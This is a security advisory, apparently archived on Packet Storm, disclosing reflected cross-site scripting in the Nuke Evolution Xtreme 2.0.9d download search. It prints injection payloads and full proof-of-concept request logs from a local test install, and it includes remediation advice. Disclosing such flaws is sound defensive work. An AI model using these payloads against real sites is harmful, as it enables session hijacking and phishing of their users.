exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nuke Evolution 2.0.9d Cross Site Scripting

Nuke Evolution 2.0.9d Cross Site Scripting
Posted Aug 9, 2016
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Nuke Evolution version 2.0.9d suffers from multiple client-side cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 6fc690aae1c715676970cd01c9404154f8bc9cedadde9654fdadd242ccc22750

Nuke Evolution 2.0.9d Cross Site Scripting

Change Mirror Download
Document Title:
===============
Nuke Evolution 2.0.9d - Multiple Client Side Cross Site Scripting Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1894


Release Date:
=============
2016-08-09


Vulnerability Laboratory ID (VL-ID):
====================================
1894


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Nuke-Evolution Xtreme is a very simple and useful Content Management System with connected mysql database application.

(Copy of the Homepage: http://evolution-xtreme.com )



Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client side cross site vulnerabilities in the Nuke Evolution Xtreme v2.0.9d CMS with Php-Nuke 7.6p3.1 core.


Vulnerability Disclosure Timeline:
==================================
2016-08-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nuke Evolution
Product: Xtreme - Content Management System (Evo Core) 2.0.9d, 2.0.8 and 2.0.7


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting web vulnerabilities has been discovered in the official Nuke Evolution Xtreme v2.0.9d CMS.
The vulnerability allows remote attackers to inject own malicious script codes to client-side browser to web-application requests.

The cross site scripting vulnerabilities are located in the `query` and `ratenum` parameters of the `Download Search` module.
The attacker injects the payload to the client-side requested parameter to compromise the `top` and `query` search results output.
The injection points are the vulnerable marked parameters and the execution point occurs in the search results output web context
of the `modules.php` file. The request method to inject is variable and can be POST or GET because both methods are supported for
the search module. The output context of the search input is wrong parsed and thus allows to execute client-side script code
in the download search webpage output context.

The security risk of the xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external
redirect to malicious sources and non-persistent manipulation of affected or connected web module context.

Request Method(s):
[+] GET
[+] POST

Vulnerable Module(s):
[+] Downloads - Search

Vulnerable File(s):
[+] modules.php

Vulnerable Parameter(s):
[+] query
[+] ratenum

Affected Version(s):
[+] Nuke Evolution: Xtreme v2.0.9d
[+] Evo Core: Php-Nuke 7.6p3.1
[+] Security: Sentinel v2.6.0.1


Proof of Concept (PoC):
=======================
The client-side cross site vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC #1: Vulnerable Source (Search Results - /nukeevolution/modules.php)
<div class="tables-wrap">
<div class="tables-hd">
<span class="tables-hd-left"></span>
<span class="tables-hd-right"></span></div>
<div class="tables-body">
<span class="tables-body-left"></span>
<span class="tables-body-right"></span>
<div class="tables-body-content">
<div class="title" style="text-align: center">
<strong>Search Results for:
test >%20"<iframe src="./evil_source" onload="alert(document.cookie)"[CLIENT SIDE SCRIPT CODE EXECUTION] <<="" strong=""></div>
</div></div>
<div class="tables-ft">
<span class="tables-ft-left"></span>
<span class="tables-ft-right"></span>
</div></div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=test
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=(CLIENT-SIDE SCRIPT CODE INEJCT!)]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470496874.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
POST-Daten:
query[test+%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C(CLIENT-SIDE SCRIPT CODE INJECT)]
Response Header:
Server[nginx/1.2.1]
Date[Sat, 06 Aug 2016 15:21:52 GMT]
Content-Type[text/html]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[CNB_test1=value1
CNB_test2=value2; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600
CNB_test3=value3; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600; path=/
CNB_test4=value4; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600]
Vary[Accept-Encoding]
-
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/a[CLIENT-SIDE SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=test]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470496874.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Transfer-Encoding[chunked]
Connection[keep-alive]


PoC #2: Vulnerable Source (Top Most Search Results - /nukeevolution/modules.php)
<div class="tables-wrap">
<div class="tables-hd">
<span class="tables-hd-left"></span>
<span class="tables-hd-right"></span>
</div>
<div class="tables-body">
<span class="tables-body-left"></span>
<span class="tables-body-right"></span>
<div class="tables-body-content">
<table border="0" width="100%"><tbody><tr><td align="center">
<center><span class="option"><strong>
Most Popular - Top "><iframe src="a" onload="alert(document.cookie)[CLIENT-SIDE SCRIPT CODE EXECUTION!]" <<="" strong="">
</span></center>
<tr><td align='center'>
Show Top: [ <a href='modules.php?name=Downloads&op=MostPopular&ratenum=10&ratetype=num'>10</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=25&ratetype=num'>25</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=50&ratetype=num'>50</a> |
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=1&ratetype=percent'>1%</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=5&ratetype=percent'>5%</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=10&ratetype=percent'>10%</a> ]
</td></tr></table><table border='0' cellpadding='0' cellspacing='4' width='100%'>
</tr></table>
</div>
</div>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)[CLIENT-SIDE SCRIPT CODE INJECT!]%20%3C&ratetype=num
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470497691.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Sat, 06 Aug 2016 15:36:41 GMT]
Content-Type[text/html]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[CNB_test1=value1
CNB_test2=value2; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600
CNB_test3=value3; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600; path=/
CNB_test4=value4; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600]
Vary[Accept-Encoding]
-
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/x[CLIENT-SIDE SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&ratetype=num]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470497691.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Sat, 06 Aug 2016 15:36:41 GMT]
Content-Type[text/html; charset=iso-8859-1]
Transfer-Encoding[chunked]
Connection[keep-alive]


Reference(s):
http://nuke-evolution.localhost:8080/
http://nuke-evolution.localhost:8080/nukeevolution/
http://nuke-evolution.localhost:8080/nukeevolution/modules.php
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=&ratetype=num


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse or encode of the vulnerable query and ratenum parameters of the modules.php file GET method request.
Disallow the usage of special chars and filter the input to prevent client-side script code injects via POST or GET method in the search.
Escape the entries in case of emergency to prevent further injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the nuke evolution extreme cms are estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/


--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close